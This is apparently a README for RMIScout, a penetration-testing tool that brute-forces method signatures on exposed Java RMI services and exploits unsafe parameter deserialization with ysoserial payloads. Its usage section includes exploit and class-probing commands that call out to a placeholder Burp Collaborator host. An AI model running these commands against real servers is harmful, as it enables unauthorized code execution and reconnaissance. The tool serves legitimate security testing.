RMIScout : Bruteforce Attacks Against Exposed Java RMI Interfaces

RMIScout performs wordlist and bruteforce attacks against exposed Java RMI interfaces to safely guess method signatures without invocation.

On misconfigured servers, any known RMI signature using non-primitive types (e.g., java.lang.String), can be exploited by replacing the object with a serialized payload.

This is a fairly common misconfiguration (e.g., VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server and Gemfire, Apache Karaf + Cassandra) as highlighted in An Trinh’s 2019 Blackhat EU talk.

RMIScout integrates with ysoserial and GadgetProbe to perform deserialization attacks against services incorrectly configuring process-wide serialization filters (JEP 290).

Motivation

I wanted a tool to do the following tasks:

1. Provide wordlist and text-based bruteforce strategies instead of bruteforcing a 64-bit method hash.
2. Identify RMI methods without invoking them.
3. Provide a simple way to exploit the known issue of unsafe RMI parameter unmarshalling and integrate with ysoserial or payloads implementing ysoserial.payloads.ObjectPayload.
4. Integrate GadgetProbe to identify remote classes to help identify relevant software and construct gadget chains.

To start off your search, the included lists/prototypes.txt wordlist is a deduplicated wordlist from 15,000 RMI prototypes found in OSS projects across GitHub. Feel free to submit a PR to include more 🙂

How it works?

To identify but not execute RMI functions, RMIScout uses low-level RMI network functions and dynamic class generation to send RMI invocations with deliberately mismatched types to trigger remote exceptions. All parameters are substituted for a dynamically generated serializable class with a 255-character name assumed to not exist in the remote class path. For example:

Remote Interface:

void login(String user, String password)

RMIScout will invoke:

login((String) new QQkzkn3..255 chars..(), (String) new QQkzkn3..255 chars..())

If the class is present this will result in a remote java.rmi.UnmarshalException cased by the ClassNotFoundException or argument unmarshalling error without invoking the underlying method.

Read a full technical writeup here.

Usage

# Perform wordlist-attack against remote RMI service using wordlist of function prototypes
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>

# Bruteforce using method wordlist and other options
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>

# Swap object-derived types with the specified ysoserial payload and payload parameter
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>

# Use GadgetProbe and a known signature to bruteforce classes on the remote classpath
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>

Building & Running

Use the included rmiscout.sh script to automatically build the project and as a convenient wrapper around java -jar syntax:

./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>

Alternatively, build the project manually and use traditional java -jar syntax:

# Manually build JAR
./gradlew shadowJar

java -jar build/libs/rmiscout-1.01-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>

Try It out

Run the demo RMI server. Try out the included demo/wordlist.txt.

cd demo
./start.sh